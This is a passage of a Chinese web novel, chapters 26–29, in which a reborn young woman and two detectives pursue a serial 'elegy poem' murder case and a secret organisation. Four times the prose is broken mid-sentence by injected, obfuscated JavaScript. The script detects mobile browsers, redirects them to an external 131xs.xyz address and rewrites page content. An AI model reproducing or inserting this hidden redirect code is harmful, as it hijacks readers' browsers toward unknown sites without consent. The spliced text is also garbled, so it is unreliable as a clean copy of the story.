包括自己在内,每个人都会死,无法阻止。她唯一能做的,只有尽力拖延。 其二,老温科考遇害。 现已确认,老温是被害的,并非简单的被害,这件事背后相当复杂。 老温的死可以说是当头棒喝,那时大温才从花奶奶的死中振作起来。 她说服自己,花奶奶的年纪已经很大了,这只是一个意外。 大温刚打起精神,问了还在上班的秦女士晚饭吃什么,得到回答后,兴致勃勃地出门买了两大袋食材,想好好吃一顿,彻底告别悲伤的情绪。 然后她知道收到了老温的死讯。 那时,她曾无数次在心中质问老天爷,为何接连让她遭受如此沉重的打击,简直像是针对她。 现在得知真相的冰山一角后,大温有些想笑。 居然还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364370|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的是针对她,而她……花了两辈子才后知后觉。 其三,徐幼盈被杀。 徐幼盈是大温最阴郁的那段时间里唯一的光,是她带着大温重新认识了这个世界的美好。 可她只陪了大温一年,高一结束的暑假,徐幼盈在自己家里被人杀害了。 徐幼盈的尸体旁放着一张名片大小的硬卡纸,上面印着一句大温再熟悉不过的诗——愿逐月华流照君。 秦月华、温流照、温君。 大温一家三口的名字刚好能连成这首诗。 原本承载着大温一家美好期愿的一句诗歌,变成徐幼盈被杀案里一件冰冷的证物。 在徐幼盈被杀后,大温变回了最初阴郁的样子,甚至更为阴郁。 假期里,她在网络上疯狂搜索徐幼盈案的消息。 听说这是一个连环杀人案,官方记录在案的名称是“悼亡诗系列连环杀人案”,凶手接连杀了六个人,每个人的尸体旁都有一张印着不同国家诗歌的硬卡纸。 徐幼盈是凶手的第七个杀害对象,也是最后一个。 在徐幼盈被杀后不久,警方成功抓获了凶手,是徐幼盈常去的书店的老板。 如果徐幼盈能得知这个消息,一定会庆幸:还好我是最后一个。 大温不会庆幸,她只会愤怒。 押运犯人时,大温曾远远地看见过那个凶手,她的怒火一下被点燃,想不顾一切冲上去。一拳、两拳、三拳……直到把那可恨的凶手打成一滩烂肉。 她发了疯一般想冲进去,而警备死死看着她。她想挣开,有人在背后拉住她。 她回头,看见一对花白头发的夫妻面带悲伤。 不用了,谢谢你,请你好好生活。大温从徐幼盈父母眼中,看到了他们未说出口的话。 大温没再往前冲,凶手被押上车,离开了。 那之后,大温世界的小太阳落山了,再也没有升起来。 其四,最后一件,也是历时最长的一件——秦女士失踪。 在一个和以往并无二致的寒冬里,秦女士不见了。 那时大温高三,在学校里待不下去了,医生建议休学,等情况稳定了再接着读书。 借此,大温有了很多陪伴秦女士的时间。秦女士上班时,她会扮演一位尽职尽责的保姆,煮饭做菜,以便秦女士一回家就能吃上热乎的。 一个狂风呼啸的冬夜,秦女士没有回来。 餐桌上的饭菜凉了又热,热了又凉,大温在客厅枯坐了一夜。 第二日清晨,秦女士依旧没有回来,电话打了成百上千遍,每一次都显示关机。 和前三个惨烈的事件不同,秦女士很平静地失踪了,就像她这个人一样,总是平静无波的。 秦女士失踪后,大温彻底放弃了学业,辗转多地寻找秦女士的下落。 这四件事毁掉了大温的人生,曾经大温以为,这只是她过分倒霉了。 她的父母把她养成了乐观纯粹的孩子,她从未怀疑过自己身边会盘踞着如此之大的恶意。 大温有些不太确定,这些人盯上的到底是她身边的人,还是……她? 26. 异父异母的姐妹 “温同学?” 身侧传来男生略微疑惑的声音,大温的思绪回笼,恍然发现自己坐在一家餐馆里,身旁是何景澄,对面是老温和何祎庵。 何景澄侧头看着大温,这场景有些眼熟,不久前也有过类似的,只不过上次是小温叫何景澄的名字。 老温拿着个烤鸡腿指大温:“发什么呆呢,不管出什么事都得好好吃饭,吃饱了才有力气思考。” 从公安局出来后,四人在附近找了家餐馆,随便吃点填肚子。 这次的案子凶手明了,几乎不用查就已确定,是大卫。 起初老温只是在咖啡厅里随便搭话,发现和大卫聊得来,便开始勾肩搭背称兄道弟了,完全没察觉到异样。 他现在有种热情喂了狗的挫败感,好端端的,到底是谁想杀他?这都从乡下追到沛霖市市区了。 老温完全想不到,自己有哪里可能会被盯上并报复的恶行,他从小遵纪守法,遇见老太太过马路都会搀扶,有着十里八乡的好名声。 唯一做过的违法的事,还是以前穷得不行险些念不起书的时候,在旁人的介绍下去地下拳馆打黑拳。 总不能是当年打拳时的手下败将记恨在心,企图报复吧?且不说这时间隔了多久,他当年也没少挨打,这不是扯平了吗? 想不通,老温干脆放弃思考,大口大口啃烤鸡腿。 大温也拿了根烤鸡腿,跟老温面对面啃。这家店的手艺不太行,鸡腿烤得有点硬,啃得大温直皱眉。 她脑子里还在盘着今天小温的经历,刚好盘到小温离开靶场,遇见跳舞机上跳舞的女孩,她微微怔愣。 大温给小温讲述自己的经历时,不会提及所有人,因此小温不会知道,高一时她的同学里,还有一位长得很漂亮的舞蹈生。 ——也就是那个跳舞的女孩,古怀蝶。 大温瞟了眼身边的何景澄,有些不可置信。 遇见何景澄就算了,怎么还遇见了古怀蝶? 大温记得,自己是陪老温前往离丰林市很远的外省科考的吧?怎么接连遇见丰林市的同学? 大温咬了一大口鸡腿肉,腮帮子鼓动。 感觉现在就算是告诉她,密室里遇见的那对姐弟也是同校的校友,她也不惊讶了。 地球果然很小。 沛霖市独特的喀斯特地貌带动了当地的旅游业,刚好碰见两位同学也不是没可能。 只是大温经历老温的事情后,变得有些疑神疑鬼了,忍不住思考这件事和老温的关联。 前世大温和古怀蝶只是普通同学关系,关系不好不坏。 古怀蝶在舞蹈方面有很高的天赋,仿佛天生就是为舞蹈而生的,她所在的班级每次都能拿下文艺节晚会的一等奖。 和多数天才一样,古怀蝶只喜欢舞蹈,对除舞蹈外的所有事都兴致缺缺。 她性格安静,不跳舞时很低调,跳舞时有种吸引人的魔力。大温看过几次她的舞蹈,无论男女都能够被那纯粹的美吸引。 回忆下来,大温闭目,自己真是疑神疑鬼过了头,古怀蝶和小温差不多年纪,都是打暑假工容易被人举报雇佣童工的年纪,能和命案有什么关系? 大温挠头,想不通,不想了。 正值饭点,餐馆里稀稀拉拉坐着几桌食客,大温侧腰处轻震,她从挎包中掏出手机,来电显示鱼小丹。 今天在靶场时,小温和鱼小丹互换了联系方式,鱼小丹出手阔绰,一加上好友就随手发了520块的红包。 末了还发了个爱心,貌似是把小温当妹妹宠了。 小温高兴得乱蹦跶,捧着鱼小丹的脸“吧唧”亲了一口。 “丹丹姐你以后就是我异父异母的亲姐妹了!”小温朝着鱼小丹竖了个认可的大拇指。 大温现在想起来还怪不好意思的,不是因为亲了人家脸,而是因为非亲非故得了几百块钱。 她现在还有些上辈子最后几年养成的习惯,省吃俭用,勤俭持家。白拿人家钱怪不好意思的,大温接通鱼小丹的电话时,语调都有些殷勤。 “喂?丹丹姐?” 大温一开口,其余三人都看向她。有关心案情的,比如何景澄和何祎庵;也有好奇看热闹的,比如老温。 老温叼着吃剩的鸡腿骨,眼珠子转向大温,偷感很重。 “照照妹妹——”电话另一头传来鱼小丹的哀嚎,“好累啊!” 大温低声轻笑:“还要加班吗?公安局也不是就你们俩个吧。” “你不知道,”鱼小丹凑近话筒,压低声音,像是课堂上交头接耳的学生,“老大是个超级工作狂,不是她负责的案子她也要查。” “诶,那你还总跟着她。” “我不帮她分担点,她哪天要把自己累死。”鱼小丹语气幽怨,“虽然现在好像因为有我帮忙,她查案查得更勤快了。” “照照妹妹,你要是有什么事,记得给我打电话啊,不要担心麻烦我们。” “嗯。”大温目光柔柔的。 鱼小丹和大温又闲聊了几句,鱼小丹便哭着说,金凤零又拽她回去工作了。 真辛苦啊。 同为(前)打工人,大温对鱼小丹表示了怜悯。她对着挂断的电话默哀了三秒钟,随后继续用餐。 鱼小丹好像真就是随便找她吐槽,完全没有透露案件信息。 这也合理,按照规定,案件信息是不能对外人说的,就是有点遗憾。 碍于大温目前的身份,她无法接触案件信息。无法知道更多信息,也就无法结合大温世界的经历找到证据。 同样的,她也无法把自己的经历说出来,因为没有证据。 唉,要是她是侦探就好了,像动漫里的侦探一样,协助警方调查,获取更多信息。 侦探……侦探? 大温悄悄看向身旁的何景澄。 她记得何景澄就很擅长推理,而鱼小丹也知道,难道……难道何景澄曾经协助过警方办案吗? 大温靠近何景澄,在他耳边小声问:“你是侦探吗?” 何景澄耳朵有点痒,他也小声答道:“不是,我母亲不希望我当侦探。” “嗯?为什么?” 大温不解。 何景澄轻轻把筷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364371|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在陶瓷骨碟上,他垂眸片刻,道:“因为很危险。” 大温了然,也是,这确实很危险。 也不是所有家长都像她的家长一样,任由孩子在外野,她从小到大干的危险事数不胜数。 大温再小一些,比小温年纪还小的时候,还是个十足的中二病,会用报纸叠王冠,拿着木剑装英雌。 那时她在学习格斗和自由搏击进步,个子窜得很快,比同龄人高了一截。 她的好身手成了她除恶行善的资本,也成了她莽撞的契机。 有次,大温遇见当街抢婴儿的人贩子,孩子的奶奶腿脚不利索,边喊“救命啊有人抢孩子啦”,边跛着脚追。 大温刚好碰见,想也没想一个箭步冲上去,照着人贩子脸上先来一拳,再把孩子抢回来。 她光顾着学电视里的大侠行侠仗义,忘记自己也还是个孩子,经验不足,被人贩子和帮凶推搡倒地,连着挨了好几脚,疼得不行。 好在孩子的奶奶人没老糊涂,叫了其他路人帮忙,人贩子见势不对,立马开溜。 大温受了些伤,但不算严重。当晚,秦女士给大温上药,她没直说心疼,只是看着大温身上的淤青垂下眼眸。 秦女士的教育从来不是直言“你需要这么做”,而是通过一些小事让大温思考自己应该怎样做。 那时大温知道了,她太鲁莽了,要在保证自己安全的前提下帮助别人,不能让爸爸妈妈担心。 父母出于担心,阻止孩子从事危险工作确实无可厚非。大温有些遗憾,看来没法通过何景澄了解案情了。 何景澄说完后,重新拿起搁在骨碟上的筷子。 何景澄很少回答他人,有关他自身的问题,但对温流照向来有问必答。 何景澄的母亲深知他对危险的真相有着近乎偏执的狂热,这份狂热终有一天会引火烧身,为保护自己的孩子,她反复告诫何景澄不要接触。 在何景澄更小的时候,他偶尔还会不顾母亲的告诫,利用小姨的身份偷偷查阅案件卷宗。 后来弟弟确诊骨肉瘤,为了让母亲安心,也为了哄弟弟开心,他空闲时间都花在了观鸟上,也就没时间再接触案子。 原本何景澄以为,自己的爱好慢慢转移了。在偶遇温流照并亲身经历命案后,他发现他果然无法放下。 早在几十年前,就有一个庞大且隐秘的组织在暗中犯下一系列案件,其中最广为人知的就是悼亡诗案。 这个组织的特点就是隐秘,做事不留痕迹,擅长嫁祸和伪装。 不知为何,这个组织似乎盯上了温流照的父亲……不,更可能是盯上温流照这个人。 温流照很危险。 可即便是知道这个事实,何景澄也做不了什么,在过于庞大的危险面前,他的力量犹如蚍蜉撼树。 或许应该寻找温流照已经被盯上了的证据,寻求警方的保护。 只是这很困难,警方调查了这么多年也没查到多少有关这个组织的信息,他一个人就更难查了。 要想出更稳妥的办法保护温流照,以及她身边的人,何景澄微微闭目。 27. 线索 往常,鱼小丹查案时总喜欢浑水摸鱼。 不紧急的案子能拖就拖,比较紧急的案子会边抱怨边做。金凤零与她共事多年,早就习惯了有人在身边吵吵嚷嚷的。 因此像现在这样安静的鱼小丹,金凤零反倒不习惯了。 她余光一瞥,只见鱼小丹拿着凶器的痕迹检测报告看得认真,头也不歪,腰也直了。 自公安局与小温他们分别后,鱼小丹便一直安心专注查案。 因一些旧事,鱼小丹最见不得同事被杀。虽然她和丁文文不熟,仅在调查方承平一案时见过几面,但她仍会为他的死出离愤怒。 回到她们熟悉的办公室,金凤零翻阅着密室工作人员的笔录,鱼小丹在整理痕迹科送来的报告。 这件案子过于简单了,几乎没费多少工夫,大卫全都招了。 丁文文是被勒死的,警方在大卫家找到了凶器,密室的监控完整记录下了他抛尸的过程,铁证如山。 杀人的是他,抛尸的也是他。 毫无疑问,大卫就是本案的凶手。 只是金凤零心中仍有疑问,大卫和丁文文无冤无仇,为何要杀他? 还有温君,这件事就更加莫名了,大卫不仅和温君无冤无仇,在一开始甚至是相谈甚欢。 为何大卫抛尸后,要返回咖啡厅杀温君? 审讯时,大卫只说杀人是一时兴起,借了酒兴,在无人的小巷中用麻绳勒死了丁文文,杀老温也是一时兴起,觉得反正要被抓了,随便再杀个人。 麻绳,麻绳,引导绳,怎么最近总遇见和绳子有关的案件。 金凤零仍是认为,杀了丁文文的那个潜伏于暗处的神秘组织,她旁敲侧击,询问大卫是否遵循是什么人的指示,是否出自于某个组织。 她把警校里学到的审讯话术翻来覆去用了一遍,仍未从大卫口中听到想要的消息。 金凤零揉着眉心,面露疲惫,桌上的手机“嗡嗡”震动,她抬眼一看,险些惊得从椅子上摔下。 来电显示“外婆”,正是金凤零那深居简出的老刑警外婆。 金凤零的外婆对小辈奉行放养制,能活就活,不能活了自己找个好看点的姿势躺着。 外婆退休二十余年,早跑回乡下隐居了,为何今天突然打电话给她? 金凤零恭恭敬敬地端起手机,像个阅兵仪式上的小兵一样,板板正正站好。 “喂?外婆——” “你别查那案子了,交给其他人查。” 金凤零闻言一愣,没想到许久没有联络的外婆第一句话就是这个。 “为什么?” “你姐姐和你说过这件事了吧?” 金凤零一怔,上个月姐姐确实和她提起过,让她不要查悼亡诗案背后的组织。 姐姐没说原因,金凤零也没答应。 她有自己的原则和追求,即便是关系要好的姐妹也不能随意让她放弃。 金凤零没想到,姐姐会去请年迈的外婆出面,她可以直接挂断姐姐的电话,但不能挂断外婆的电话,不管怎样她也得听完。 她愈发疑惑了,姐姐和外婆到底知道了什么,才会百般阻止她? “我知道你在想什么,你不用知道为什么,知道越多越危险,元柏没了父母,不能连你也没了。” 元柏是姐姐的名字,骤然提及父母一事,金凤零也有些黯然。 何景澄几岁大的时候,金凤零的父母便离世了。 说是意外,金凤零却觉得是谋杀。当然,她没有证据,只是直觉如此。 她知道姐姐藏了些事没说,他们家的人多多少少都藏了点自己的心事,她的小外甥何景澄也是如此。 姐姐不说,金凤零便自己查,从警校毕业,正式接触悼亡诗案时,虽未找到联系,但她直觉此案与她父母的离世有关。 金凤零读警校,成为刑警,一半是为了除恶扬善,一半是为了调查父母离世的真相。 很遗憾,即便姐姐和外婆都不希望她继续调查,她也会继续彻查。 另一头外婆仍在说:“凤零,元柏知道劝不住你,只是希望你多想想家人。景澈的病不太乐观,元柏的情绪也一直不稳定,这你也是知道的。” “有空啊,多去看看元柏和景澈,自从几年前催你结婚后,你就自己跑到沛霖市当刑警了,一年到头在家待不了几天,家里人想见你一面都难。” 也不知道姐姐和外婆说了些什么,金凤零本来乖乖听着,越听越不对劲,平素不爱管小辈的外婆居然开始唠家常了。 偏偏她还尊敬外婆,没法敷衍对待,只能硬着头皮听。 金凤零年芳三十二,不爱男人爱查案,几年前家里亲戚催她结婚,她实在烦得很,一怒之下跑去沛霖市当刑警了。 那时是一时冲动,后来虽觉得不妥,但也没回丰林市。 一是在沛霖市待习惯了,懒得挪窝,二是“离家出走”确实耳根子清净了许多。 如今被迫听了一长串唠叨,金凤零久违地感到无奈。 听了好一会,外婆终于说完了,她一声长叹:“也罢,说再多你也听不进,你们小辈的事,自己好好考虑。” 挂了电话不见鱼小丹的身影,金凤零出门一看,鱼小丹正趴在走廊的护栏上打电话,整个人像块用过的虎皮膏药一样黏在上面。 金凤零有气没地方撒,踹了一脚鱼小丹的鞋跟。 这一脚像踢中了什么开关,鱼小丹的背一下直溜了,只是没有回头。 她不用看也知道是金凤零干的,对着电话那头的大温哭:“呜呜呜大魔王叫我回去工作了。” 哭完,鱼小丹假惺惺地抹了把并不存在的眼泪,回头就见金凤零双手插兜,下巴朝着大门方向努了努。 “走,去丁文文家看看。” …… 鱼小丹开着她骚包的红色跑车停在金凤零跟前,金凤零拎着公文包,有些嫌弃。 “这也太显眼了,你生怕别人看不见我们去丁文文家了吗?” “哎哟!有什么关系啦!该知道的都会知道,不如挑个亮眼的车,让我开着高兴点。” 也罢,也罢,随鱼小丹开心罢,金凤零拽开车门,坐到副驾上。 车辆平稳启动,金凤零从公文包里翻出检验报告,封面写着法医学尸体检验报告——这是丁文文的尸检报告。 她翻到最后的结论页,上面清晰明了地写着“死者系因颈部受压致机械性窒息死亡, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364372|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 符合他杀特征”。 往前翻一页,金凤零找到了外伤鉴定部分。除颈部的压迫伤外,双手还有挣扎抓挠留下的痕迹。 很显然,致命伤是脖颈的勒痕,凶器是大卫家的麻绳。 在拿到这份尸检报告后,金凤零询问了乐宁县公安局中,和丁文文关系较好的刑警,丁文文的身体素质如何。 许依然和丁文文是同一届不同学校,二人前后脚入职乐宁县公安局,因为是同龄人加上跟随同一个老师,关系还算好。 她说丁文文的身体素质一般,喜欢摸鱼,上学时体能课成绩平平,唯独在侦查方面的课程上成绩优异。 总的来说,就是体能一般,但观察辅助能力很强,这类人一般不会在一线工作。 按照许依然的说法,身材瘦小的丁文文确实有可能在毫无反击余力的情况下,被人高马大的大卫勒死。 合理,但又透露着一丝诡异,逻辑勉强的地方太多了。 金凤零接着翻阅剩下的文件,两个多小时的车程不长不短,金凤零打了个哈欠,收拾好散乱的文件。 “到达目的地附近,本次导航结束。” 跑车驶入小区大门,车载导航关闭,金凤零打开车门,站在单元楼下抬头望。 小区没有电梯,楼层不高,丁文文租的是三楼的房。两人在房东的指引下拿到钥匙,打开房门。 丁文文才搬来乐宁县不久,加上是一个人住,租房里的家具很简洁。 鱼小丹进门,在玄关处双手合十,闭目拜了三下。 愿逝者安息,愿真相大白。 拜完后,鱼小丹快步跟上金凤零。 先前已经派人来调查过了,有用没用的线索找着了一堆,说实话,鱼小丹也不知道她们来这还能找着些什么。 阳台上晒着的衣服还没有收,阳台是私闯民宅的犯人最容易留下痕迹的地方,但要是有什么明显痕迹,早该被上门取证的同事发现了。 鱼小丹没报多大希望,她环视一圈,被墙边长势喜人的几盆多肉吸引了注意。 墙角放着一个很矮的铁质置物架,架子上摆着几盆不同品种的多肉,叶片珠圆玉润的,甚是可爱。 鱼小丹欣赏着欣赏着,刑警的职业雷达动了,她敏锐察觉到了一丝异样。 置物架最下面一层只放了一盆多肉,盆中的土被碎石子掩盖。这是唯一一盆铺了碎石子的盆栽,出于职业习惯,鱼小丹端起这盆多肉仔细打量。 石子下的土有些松散,好像被翻新过,鱼小丹心下一紧,顾不得什么了,她提着多肉往上一拔,这并不费劲,好像被人提前拔过了。 鱼小丹在松散的泥土间翻找,终于,她翻到了一个很小的塑料包装袋,取出来一看,内里装着一个老旧的手机内存卡。 鱼小丹捏紧了那张内存卡。 丁文文的电子设备全都被带走调查了,电脑桌上空空荡荡,金凤零也不知找些什么,只是直觉告诉她要来这里。 她在卧室内找了一圈,果然一无所获,正准备出门叫鱼小丹时,就见那位卷毛刑警肃穆立于卧室门前。 见金凤零出来了,她悄无声息地张开手,露出掌心的内存卡。 此行并非一无所获。 28. 回家 大温和老温没有在沛霖市多逗留,第二日便订了票返回丰林市。 先前秦女士已在楼道内安了监控,也和花奶奶的孙子曲宏愿说明了大温的猜测。这些天和秦女士联络时,秦女士也都说没有异样。 一切看起来好像只是大温过度忧虑了,花奶奶的死真的只是一场意外,而她现在已经成功帮助花奶奶避开那个意外了。 如果大温没有经历先前的事,可能真的会这样单纯地想,现在她只会觉得脊背发寒。 就像走在夜晚的荒野上,背后的草丛里有不知名的大型猛兽蓄势待发,静待她松懈之时,扑上来咬她一口。 何祎庵因工作原因,需要在沛霖市多逗留几天,返程时只有小温和老温。 为了早点到家,老温订了早上七点的车,大清早地赶车。 车票订晚了,俩人这次没坐在一块。 午饭时间,父女俩人一人一盒泡面,端着方便面盒子隔了好几排座位的距离遥遥“干杯”。 发生了很多事情,遇到了许多危险,但所幸,目前他们安然无恙。 …… 到家时已是下午,老温掏钥匙开门,小温在一旁蓄势待发。 一开门,小温就像一颗炮弹被发射出去了一样,“噔噔噔”跑进屋。 小温的家是很标准的三房一厅,家里只有小温一个孩子,多余的一间卧室被改装成了书房。 书房里放了三排书架,两排归家里的老大——秦女士,用于放她喜欢的各类中外名著,还有一些中文相关的专业书籍。 剩下一排归小温和老温,书架一面用来放老温的专业书籍,另一面用来放小温的课本和课外书。 秦女士正在书房看书,窗外阳光很好,她坐着竹编的躺椅,胳膊搭在椅子扶手上,双手捧着一本外国名著,封面上写着外文,这是一本未翻译的外国名著。 小温窜向书房,秦女士听见脚步声,轻轻合上手中的书,放在一旁的书桌上,目光平静又带着些喜悦地看向书房门口。 桌上的台扇慢悠悠地转头,在书房门口冒出一个高马尾的少女时,台扇正好转向秦女士。 风吹起秦女士两鬓的碎发,她露出一个浅淡的笑容。 “妈妈!” “嗯。” 向日葵一样的笑容在小温脸上绽开,她张开手,跑过去抱住秦女士。 “妈妈!”小温又喊了一遍。 “嗯。”秦女士温柔地摸着小温的脑袋。 小温感觉好像好久好久没有见到妈妈了——其实只有十多天,只是发生的事情太多,拌住了时间前进的脚步。 “我跟你说,这次出门遇到了好多事情……” 小温松开秦女士,絮絮叨叨和她说此行的遭遇。秦女士听得很认真,时而眉头轻皱,时而展颜轻笑。 老温很自觉地打开冰箱,切好的猪肉放在最上层,旁边是半个节瓜。 老温思索片刻,拿了两根茄子,半个节瓜,一把油麦菜,还有半碗猪肉。 锅碗乒乓,菜香四溢,香味把小温从书房里勾出来。泡面不顶饱,她饿了,很自觉地跑到厨房给老温打下手。 最后一盘菜端上餐桌时,恰巧到了大温时间,相隔十来天,大温又一次和父母坐在餐桌上共进晚餐。 和第一次不同的是,这次晚饭是老温煮的,大温心里怀揣着的,也不单单是一开始久别重逢的喜悦。 …… 晚饭后,大温独自出门散步。她心里装着很多事情,也不知道去哪,就这样漫无目的地走。 小区大门对面就是一条宽敞的马路,一辆改装摩托呼啸驶过,引擎声震天响,车上两个十来岁的黄毛鬼叫着,后座上的黄毛看见大温,兴奋地吹了个流氓哨。 “呜呼~小美女~” 摩托开出十里地都能听见黄毛那大嗓门。 大温一个芳龄二十五的成年人,被小屁孩撩了一把,浑身鸡皮疙瘩都起来了。 她扭头想骂句“有病”,目光却被一小片绿色吸引。 那是先前小温陪着花奶奶种的花,前往沛霖市之前,小温也曾陪花奶奶出浇过水。 现在小花们全都已经破土而出,在昏暗的路灯下舒展纤细的腰肢。 大温蹲下身,凑近了观察那些生机盎然的小花。 一阵风刮过,吹得地上的落叶连着翻了好几个跟头。 她真的过得很幸福,大温想。 有深爱她的父母亲人,有一辈子要好的至交好友,她真的,很幸福。 而她人生中最大的不幸,就是有人想要毁掉她的幸福。 到底是谁? 大温想到悼亡诗案的凶手,那个书店老板。 可在他被抓后,秦女士依然失踪了。 现在推测事件一的凶手是邻居小孩,事件二的凶手未知,事件三的凶手是书店老板,事件四的凶手也未知。 事件四甚至无法确定到底是意外还是谋杀,秦女士到底还活着吗。 大温总觉得,这四个事件的破解难度是逐步上升的,简直像是闯关游戏。 闯关……游戏? 大温一怔,脑中的思路一下被打通了,她愕然发现,这一系列的事件真的很像某种试炼。 她像一个被投入全息游戏里却不自知的玩家,四道考验,满盘皆输,最终被推下天台销号重来。 大温突然迫切想要联系系统,逼问它到底是谁在背后装神弄鬼。 可这多半是无用功,且不说目前系统依旧无响应,就算它响应了,也不会回答这个问题。 大温黯然起身,正欲继续散步,就见跟前站着一个小孩。 那是个八九岁大的小男孩,静悄悄地站在花圃对侧,黑洞洞的眼睛直勾勾看着大温。 大温喜欢可爱的小孩,不喜欢这样诡异的。 她被骇了一跳,退后了半步,脚踩在干枯的落叶上,发出脆响。 小男孩的嘴角一点点上扬,像是恶作剧得逞一般,咧开一个笑。 大温本来就烦,看见这熊孩子的笑容更烦了。 “你——” 她想叫住小男孩,直接问他是不是想杀花奶奶,话一出口,小男孩便像是提前察觉到了,轻巧跑开。 “喂!”小男孩跑得很快,但大温更快,她三两步追上他,拽住他的胳膊厉声问,“喂!你跑什么!我有事要问你!” 大温怒气上头,没注意力道,小男孩被大温拽得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16364373|183857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个踉跄,一屁股摔在地上。 “哇——!” 小男孩“哇”地一声哭了出来,哭声凄厉,小区大门正好有路过的住户,听见哭声纷纷向大温投来目光。 大温还拽着男孩的小臂,力道很大,在孩子娇嫩的皮肤上拽出了一片红痕。 “怎么了?打小孩?” 大温听到有人语带警惕,眼带疑惑地看向她,她这才恍然,自己被摆了一道。 这个孩子真的相当聪明,知道如何利用自己孩童的身份。 大温正不知道该怎么办时,身后传来熟悉的声音:“温流照?” 一个大学生模样的男生站在她身后,提着一个印着超市logo的塑料袋,静静看着她,脸上带着些许疑惑。 “曲哥!”大温眼前一亮,重生一个月了,这还是第一次见到曲宏愿。 上辈子最后一次见曲宏愿,也差不多是在这个时候。 因此眼前的曲宏愿和记忆中的长相一致,就是时间相隔实在有些久了,记忆里的模样也有些模糊了。 她有些惊喜,说起来她和曲宏愿也算得上是青梅竹马了,只是关系没有特别亲近,仅仅是普通朋友关系。 曲宏愿瞥了眼地上的小孩,目光冷厉,他本就不甚喜欢这个怪小孩,从秦女士那听说大温的猜测后,便更加讨厌他了。 “怎么了?”曲宏愿问。 “我找他问点事,他跑了,我拽住他,他摔了。”大温言简意赅。 曲宏愿头没有低,眼珠向下一转,冷冷看着地上的小孩。 曲宏愿的性格随他爸,话少,有点冷,他长了张不讨孩子喜欢的脸,不笑时很严肃,冷冷看人时更严肃。 好在大温继承了老温的社牛属性,从小胆大,从小就没怕过曲宏愿。 “你问。”曲宏愿淡淡说。 他的脸是真的镇小孩,自从他走过来,这小孩都不哭了,坐在地上干瞪眼。 说问就问,大温直截了当:“你之前是不是想推花奶奶下楼?” 小孩瞪她,没说话。 “说话。”曲宏愿冷声道。 小孩瞪了曲宏愿一……不对,半眼。他没敢瞪,但也没吭声,眼珠子滴溜溜转,不知道又在憋什么坏水。 “李常。”曲宏愿叫了小男孩的名字,这次声音更大,也更冷。 “……没有。” “大声点。” “没有!”李常的声音更大,也更坚定了。 曲宏愿侧头,平静地看着大温,大温这下明白为什么曲宏愿能镇住李常,却没有问他了。 不是所有人都像小温,问什么说什么。 自己真是被小温传染了,居然想直接问。 “真的没有?”问都问了,大温决定再问一遍。 李常转头瞪她,大温有些郁闷,自己不招村长家大黄狗的喜欢就算了,还镇不住小孩,是她长得太温柔了吗? 李常瞪完就跑,大温没拦,她在发愁该怎么让这孩子露出马脚。 问是肯定问不出来的,她已经试过了,或许应该找个由头看着李常。 一个可以长时间接触孩子的机会……嗯……有了! “家教!” 29. 没有爱的家 “家教?”大温突然出声,让曲宏愿微微蹙眉。 “我刚刚想啊,去给李常当家教不就可以长时间看着他了吗?”大温眼前一亮。 “而且啊,当家教就可以顺理成章进李常家了,到时候我就可以借机在他家里寻找线索了。运气好找到证据,运气不好也可以教这孩子好好做人吧!” 大温越说越起劲,心中充满了对未来的美好展望。 “……”曲宏愿沉默几秒,犹豫了会,还是没有打击大温,他只是问,“那你准备怎么和李常的妈妈说?” 大温歪头:“直接说不就行了吗?” “……” “不行。”女人警惕地盯着小温,不知道她在打什么主意。 女人名叫李萍,是李常的母亲。 小温愣在原地,笑容一点点僵掉。 女人猛地把门关上,防盗门“砰”一声响,关门带出的风吹起小温额角的鬓发。 她(们)的家教计划,失败了。 昨晚大温和曲宏愿说了这个计划后,曲宏愿又沉默了。大温没太在意,本来他就总沉默。 现在小温才知道,曲宏愿的沉默是什么意思。 直接说也太可疑了,怎么可能会答应啊! 小温噼里啪啦打字:不行啊大温,他妈妈好像把我当诈骗犯了! 【大温】:坏了,跟你待在一起久了,都有点丧失常识了。 